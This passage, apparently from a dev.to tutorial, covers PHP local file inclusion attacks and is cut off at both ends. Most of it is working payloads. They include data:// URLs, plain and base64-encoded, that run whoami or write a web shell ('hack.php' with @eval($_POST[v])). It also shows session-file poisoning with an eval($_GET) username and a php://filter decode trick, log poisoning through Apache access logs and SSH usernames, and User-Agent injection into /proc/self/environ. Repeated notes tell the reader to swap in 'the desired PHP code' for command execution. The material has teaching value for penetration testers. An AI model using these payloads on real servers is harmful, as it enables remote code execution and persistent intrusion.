&lt;pre class="highlight php"&gt;&lt;code&gt;fileinclude.php?file=data:text/plain,&lt;span class="cp"&gt;&amp;lt;?php&lt;/span&gt; &lt;span class="nb"&gt;system&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'whoami'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="cp"&gt;?&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Technique 2 (Base64):&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;fileinclude.php?file&lt;span class="o"&gt;=&lt;/span&gt;data:text/plain&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="nb"&gt;base64&lt;/span&gt;,PD9waHAgc3lzdGVtKCd3aG9hbWknKTs/Pg&lt;span class="o"&gt;==&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Decodes to &lt;code&gt;&amp;lt;?php system('whoami');?&amp;gt;&lt;/code&gt;.&lt;/p&gt;

&lt;h4&gt;
  
  
  data:// (Writing a Trojan)
&lt;/h4&gt;

&lt;p&gt;&lt;strong&gt;Technique 1:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;fileinclude.php?file=data:text/plain,&lt;span class="nt"&gt;&amp;lt;&lt;/span&gt;&lt;span class="err"&gt;?&lt;/span&gt;&lt;span class="na"&gt;php&lt;/span&gt; &lt;span class="na"&gt;fputs&lt;/span&gt;&lt;span class="err"&gt;(&lt;/span&gt;&lt;span class="na"&gt;fopen&lt;/span&gt;&lt;span class="err"&gt;('&lt;/span&gt;&lt;span class="na"&gt;hack.php&lt;/span&gt;&lt;span class="err"&gt;','&lt;/span&gt;&lt;span class="na"&gt;w&lt;/span&gt;&lt;span class="err"&gt;'),'&lt;/span&gt;&lt;span class="cp"&gt;&amp;lt;?php&lt;/span&gt; &lt;span class="o"&gt;@&lt;/span&gt;&lt;span class="k"&gt;eval&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$_POST&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;v&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;&lt;span class="cp"&gt;?&amp;gt;&lt;/span&gt;&lt;span class="err"&gt;');?&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F05ddl5cxl21nwzgdzoqx.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F05ddl5cxl21nwzgdzoqx.png" alt=" " width="721" height="324"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Technique 2 (Base64):&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;fileinclude.php?file&lt;span class="o"&gt;=&lt;/span&gt;data:text/plain&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="nb"&gt;base64&lt;/span&gt;,PD9waHAgZnB1dHMoZm9wZW4oJ2hhY2sucGhwJywndycpLCc8P3BocCBAZXZhbCgkX1BPU1Rbdl0pPz4nKTs/Pg&lt;span class="o"&gt;==&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Decodes to &lt;code&gt;&amp;lt;?php fputs(fopen('hack.php','w'),'&amp;lt;?php @eval($_POST[v])?&amp;gt;');?&amp;gt;&lt;/code&gt;.&lt;/p&gt;

&lt;h3&gt;
  
  
  Including Session Files
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Requirements:&lt;/strong&gt; The session file path is known, and the content is partially controllable.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Technique:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;The PHP session file save path can be found in &lt;code&gt;phpinfo&lt;/code&gt; under &lt;code&gt;session.save_path&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Frqy9i9257hxb8feqfsg5.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Frqy9i9257hxb8feqfsg5.png" alt=" " width="800" height="99"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Common PHP session storage locations:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;code&gt;/var/lib/php/sess_PHPSESSID&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;/var/lib/php/sess_PHPSESSID&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;/tmp/sess_PHPSESSID&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;/tmp/sessions/sess_PHPSESSID&lt;/code&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Session file naming: &lt;code&gt;sess_[phpsessid]&lt;/code&gt;. PHPSESSID can be found in the cookie field of the request.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F0d3kp3apqgzurs7d1iaj.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F0d3kp3apqgzurs7d1iaj.png" alt=" " width="800" height="153"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;To include and exploit, the attacker must control some session file content. No general solution exists. Sometimes, include the session file first, observe its contents, then find controllable variables to inject payloads and execute PHP code.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Example 1:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="c1"&gt;# Line 3&lt;/span&gt;
&lt;span class="nb"&gt;session_start&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$_SESSION&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'username'&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nb"&gt;header&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'Location: index.php'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="k"&gt;exit&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="c1"&gt;# Line 8&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$_POST&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'username'&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="nv"&gt;$_POST&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'password'&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nv"&gt;$username&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nv"&gt;$_POST&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'username'&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;

    &lt;span class="c1"&gt;# Line 20&lt;/span&gt;
    &lt;span class="nv"&gt;$stmt&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;bind_result&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$res_password&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

    &lt;span class="c1"&gt;# Line 24&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$res_password&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="nv"&gt;$password&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="nv"&gt;$_SESSION&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'username'&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;base64_encode&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$username&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
        &lt;span class="nb"&gt;header&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"location:index.php"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The variable &lt;code&gt;$username&lt;/code&gt; is controllable and written to &lt;code&gt;$_SESSION&lt;/code&gt;. If the data is unfiltered, it ends up in the session file. Combined with file inclusion, the session file may be included.&lt;/p&gt;

&lt;p&gt;To include the session file, the path must be known. Register a user (e.g., Johnson). After successful login, note the PHPSESSID cookie value (e.g., &lt;code&gt;0d0385dc6a1067f4e3406191&lt;/code&gt;). Even a failed login creates a session file.&lt;/p&gt;

&lt;p&gt;Visit:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;http://x.x.x.x/index.php?action&lt;span class="o"&gt;=&lt;/span&gt;/var/lib/php5/sess_0d0385dc6a1067f4e3406191
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;However, the username is base64-encoded. Using a pseudo-protocol to decode the entire session file may cause garbled characters due to the serialised prefix. Consider base64 encoding. The session prefix &lt;code&gt;username|s:12:"&lt;/code&gt; (the number &lt;code&gt;12&lt;/code&gt; is the length of the base64 string). For lengths &amp;lt;100, the prefix is 15 characters; for 100–999, it is 16 characters.&lt;/p&gt;

&lt;p&gt;16 characters satisfy: 16 * 6 = 96 bits, 96 mod 8 = 0. Thus, when base64-decoding the session file, the first 16 characters become garbled but do not affect the remaining part (the base64-encoded username). Register a username like &lt;code&gt;JohnsonJohnson...&lt;/code&gt; (long enough that its base64 length exceeds 100) plus &lt;code&gt;&amp;lt;?php eval($_GET['abcdefg']) ?&amp;gt;&lt;/code&gt;. Then visit:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="n"&gt;http&lt;/span&gt;&lt;span class="o"&gt;://&lt;/span&gt;&lt;span class="n"&gt;x&lt;/span&gt;&lt;span class="mf"&gt;.&lt;/span&gt;&lt;span class="n"&gt;x&lt;/span&gt;&lt;span class="mf"&gt;.&lt;/span&gt;&lt;span class="n"&gt;x&lt;/span&gt;&lt;span class="mf"&gt;.&lt;/span&gt;&lt;span class="n"&gt;x&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;index&lt;/span&gt;&lt;span class="mf"&gt;.&lt;/span&gt;&lt;span class="n"&gt;php&lt;/span&gt;&lt;span class="o"&gt;?&lt;/span&gt;&lt;span class="n"&gt;action&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;php&lt;/span&gt;&lt;span class="o"&gt;://&lt;/span&gt;&lt;span class="n"&gt;filter&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;read&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;convert&lt;/span&gt;&lt;span class="mf"&gt;.&lt;/span&gt;&lt;span class="n"&gt;base64&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;decode&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;resource&lt;/span&gt;&lt;span class="o"&gt;=/&lt;/span&gt;&lt;span class="k"&gt;var&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;lib&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;php5&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;sess_0d0385dc6a1067f4e3406191&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;abcdefg&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nb"&gt;phpinfo&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Successful execution leads to a web shell.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Example 2:&lt;/strong&gt;&lt;br&gt;
&lt;code&gt;session.php&lt;/code&gt; with controllable user session:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;session_start&lt;span class="o"&gt;()&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="nv"&gt;$username&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nv"&gt;$_POST&lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'username'&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="nv"&gt;$_SESSION&lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'username'&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nv"&gt;$username&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Register a user with &lt;code&gt;&amp;lt;?php phpinfo();?&amp;gt;&lt;/code&gt; and log in with that username. Record PHPSESSID (e.g., &lt;code&gt;r7csmqpu1lul3elgsb6o9g6u1b&lt;/code&gt;). The session file contains the malicious code.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F55np44ugj8jqhv1g6cme.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F55np44ugj8jqhv1g6cme.png" alt=" " width="757" height="128"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Include it:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="n"&gt;fileinclude&lt;/span&gt;&lt;span class="mf"&gt;.&lt;/span&gt;&lt;span class="n"&gt;php&lt;/span&gt;&lt;span class="o"&gt;?&lt;/span&gt;&lt;span class="n"&gt;file&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nc"&gt;D&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="n"&gt;\phpStudy\PHPTutorial\tmp\tmp\sess_r7csmqpu1lul3elgsb6o9g6u1b&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fnypwtr61ecqrp7nt921v.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fnypwtr61ecqrp7nt921v.png" alt=" " width="800" height="164"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Note on Command Execution and Trojan Writing:&lt;/strong&gt; Replace &lt;code&gt;&amp;lt;?php phpinfo();?&amp;gt;&lt;/code&gt; with the desired PHP code.&lt;/p&gt;

&lt;h3&gt;
  
  
  Including Log Files
&lt;/h3&gt;

&lt;h4&gt;
  
  
  Access Logs
&lt;/h4&gt;

&lt;p&gt;&lt;strong&gt;Requirements:&lt;/strong&gt; Know the server log storage path, and log files must be readable.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Technique:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Web servers (e.g., Apache) write requests to &lt;code&gt;access.log&lt;/code&gt; and errors to &lt;code&gt;error.log&lt;/code&gt;. Default paths:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight lua"&gt;&lt;code&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt; &lt;span class="n"&gt;Apache&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="n"&gt;Linux&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;etc&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;httpd&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;logs&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;access&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;log&lt;/span&gt; &lt;span class="ow"&gt;or&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;var&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;log&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;httpd&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;access&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;log&lt;/span&gt;
&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt; &lt;span class="n"&gt;Apache&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="n"&gt;Win2003&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;D&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="n"&gt;xampp&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="n"&gt;apache&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="n"&gt;logs&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="n"&gt;access&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;log&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;D&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="n"&gt;xampp&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="n"&gt;apache&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="n"&gt;logs&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="n"&gt;error&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;log&lt;/span&gt;
&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt; &lt;span class="n"&gt;IIS6&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="n"&gt;Win2003&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;C&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="n"&gt;WINDOWS&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="n"&gt;system32&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="n"&gt;Logfiles&lt;/span&gt;
&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt; &lt;span class="n"&gt;IIS7&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="n"&gt;Win2003&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="o"&gt;%&lt;/span&gt;&lt;span class="n"&gt;SystemDrive&lt;/span&gt;&lt;span class="o"&gt;%&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="n"&gt;inetpub&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="n"&gt;logs&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="n"&gt;LogFiles&lt;/span&gt;
&lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt; &lt;span class="n"&gt;nginx&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;usr&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="kd"&gt;local&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;nginx&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;logs&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="ow"&gt;or&lt;/span&gt; &lt;span class="n"&gt;installation&lt;/span&gt; &lt;span class="n"&gt;directory&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Direct requests may cause encoding issues. Use Burp to modify the request, e.g., change &lt;code&gt;&amp;lt;?php phpinfo();?&amp;gt;&lt;/code&gt; to &lt;code&gt;%3C?php%20phpinfo();%20?%3E&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F4ew6bidde3x5p74xk72z.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F4ew6bidde3x5p74xk72z.png" alt=" " width="800" height="299"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;After writing PHP code to &lt;code&gt;/var/log/apache2/access.log&lt;/code&gt;, include it.&lt;/p&gt;

&lt;p&gt;Default configuration file paths:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight markdown"&gt;&lt;code&gt;&lt;span class="p"&gt;1.&lt;/span&gt; Apache+Linux: /etc/httpd/conf/httpd.conf or /etc/init.d/httpd
&lt;span class="p"&gt;2.&lt;/span&gt; IIS6.0+Win2003: C:/Windows/system32/inetsrv/metabase.xml
&lt;span class="p"&gt;3.&lt;/span&gt; IIS7.0+WIN: C:&lt;span class="se"&gt;\W&lt;/span&gt;indows&lt;span class="se"&gt;\S&lt;/span&gt;ystem32&lt;span class="se"&gt;\i&lt;/span&gt;netsrv&lt;span class="se"&gt;\c&lt;/span&gt;onfig&lt;span class="se"&gt;\a&lt;/span&gt;pplicationHost.config
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Note on Command Execution and Trojan Writing:&lt;/strong&gt; Replace &lt;code&gt;&amp;lt;?php phpinfo();?&amp;gt;&lt;/code&gt; with the desired PHP code, encode as needed, and include.&lt;/p&gt;

&lt;h4&gt;
  
  
  SSH Log
&lt;/h4&gt;

&lt;p&gt;&lt;strong&gt;Requirements:&lt;/strong&gt; Know the SSH log location and have read access. Default: &lt;code&gt;/var/log/auth.log&lt;/code&gt; or &lt;code&gt;/var/log/secure&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Technique:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Connect via SSH:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;ssh &lt;span class="s1"&gt;'&amp;lt;?php phpinfo(); ?&amp;gt;'&lt;/span&gt;@remotehost
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Enter any password. The PHP code is written to the SSH log.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fafuebui1w87pfdfwg1h7.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fafuebui1w87pfdfwg1h7.png" alt=" " width="798" height="111"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Then include the log file.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fxbs4mbkjfoevl8uxf4c8.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fxbs4mbkjfoevl8uxf4c8.png" alt=" " width="607" height="170"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Note on Command Execution and Trojan Writing:&lt;/strong&gt; Replace &lt;code&gt;&amp;lt;?php phpinfo();?&amp;gt;&lt;/code&gt; with the desired PHP code.&lt;/p&gt;

&lt;h3&gt;
  
  
  Including environ
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Requirements:&lt;/strong&gt;&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;PHP runs as CGI (so that &lt;code&gt;environ&lt;/code&gt; retains the User-Agent header).&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;environ&lt;/code&gt; file location is known and readable. Default: &lt;code&gt;/proc/self/environ&lt;/code&gt; (Linux only; not available on Windows).&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;strong&gt;Technique:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;code&gt;/proc/self/environ&lt;/code&gt; saves the User-Agent header. Insert PHP code into the User-Agent, then include the file.&lt;/p&gt;

&lt;p&gt;Example: intercept a request with Burp and modify the User-Agent:&lt;/p&gt;

